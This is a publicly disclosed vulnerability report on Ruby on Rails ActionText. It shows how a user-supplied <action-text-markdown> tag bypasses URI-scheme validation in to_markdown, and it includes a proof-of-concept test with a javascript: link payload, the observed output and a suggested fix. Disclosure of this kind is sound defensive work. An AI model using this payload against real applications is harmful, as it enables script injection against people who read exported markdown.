HexBrain

Ruby on Rails · Report #3727743

URI scheme validation bypass in ActionText `to_markdown` via user-supplied `<action-text-markdown>` marker tag

Validstatus
mediumseverity
13upvotes
24 Aug 2026disclosed

How it was found

The markdown converter treats every <action-text-markdown> element as trusted internally-generated markup and emits its text verbatim. Content#to_markdown only creates that tag when serializing attachments, but the visitor does not distinguish internal nodes from user-supplied ones. A rich-text body containing a literal <action-text-markdown> tag therefore bypasses the URI-scheme validation that was added for normal links.

the bad lines

actiontext/lib/action_text/markdown_conversion.rb:80

SKIP_ESCAPING_PARENTS = %w[ action-text-markdown code pre ].freeze

actiontext/lib/action_text/markdown_conversion.rb:96-97

elsif skip_markdown_escaping?(node)
  node.content

actiontext/lib/action_text/markdown_conversion.rb:226-228

def visit_action_text_markdown(_node, child_values)
  join_children(child_values)
end

pre and code are in the same skip list but their visitors wrap output in fenced code, so a link payload inside them becomes inert code. visit_action_text_markdown emits raw, which is why this specific marker is the bypass.

proof of concept

Save as actiontext/test/unit/markdown_passthrough_bypass_test.rb:

require "test_helper"

class ActionTextMarkdownPassthroughBypassTest < ActiveSupport::TestCase
  test "user-supplied <action-text-markdown> emits markdown link bypassing URI scheme validation" do
    payload = "<action-text-markdown>[click](javascript:alert(1))</action-text-markdown>"
    markdown = ActionText::Content.new(payload).to_markdown

    refute_match(/\(javascript:/, markdown,
      "expected URI scheme validation to reject javascript: URI, got: #{markdown.inspect}")
  end
end

Run from the repo root:

cd actiontext && bin/test test/unit/markdown_passthrough_bypass_test.rb

Observed:

Failure:
expected URI scheme validation to reject javascript: URI, got: "[click](javascript:alert(1))"

Control: the existing remote-image hardening tests still pass:

cd actiontext && bin/test test/unit/markdown_conversion_test.rb -n '/RemoteImage attachment with disallowed URI scheme|RichText#to_markdown/'
# 5 runs, 5 assertions, 0 failures, 0 errors

suggested fix

Strip user-supplied <action-text-markdown> nodes before to_markdown creates its own internal markers. Drop-in diff:

--- a/actiontext/lib/action_text/content.rb
+++ b/actiontext/lib/action_text/content.rb
@@ -146,6 +146,11 @@ module ActionText
       end

       def to_markdown(attachment_links: false)
+        # Prevent user-supplied <action-text-markdown> nodes from being treated
+        # as trusted internal markdown passthrough by the markdown converter.
+        fragment.find_all("action-text-markdown").each do |node|
+          node.replace(node.children)
+        end
         render_attachments(with_full_attributes: false) { |attachment|
           ActionText::HtmlConversion.create_element("action-text-markdown").tap do |node|
             node.content = attachment.to_markdown(attachment_links: attachment_links)

fragment.find_all is the same Nokogiri idiom already used at content.rb:56 and :210. After this change the PoC test passes and the existing attachment-markdown tests are unaffected.

Impact

Any consumer of ActionText::RichText#to_markdown / Content#to_markdown output (preview pane, email digest, federated mirror, secondary markdown renderer) can receive an attacker-controlled javascript:, data:, or other unsafe-scheme markdown link from a user who can author rich text. The URI safety boundary added by PRs #56871 and #56909 to normal <a> and remote-image attachment paths is undone for markdown export when the user wraps the payload in <action-text-markdown>.

The HTML rendering path (Content#to_s) is not directly affected; the marker tag is stripped and the payload renders as inert text. The bypass is specific to markdown export.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original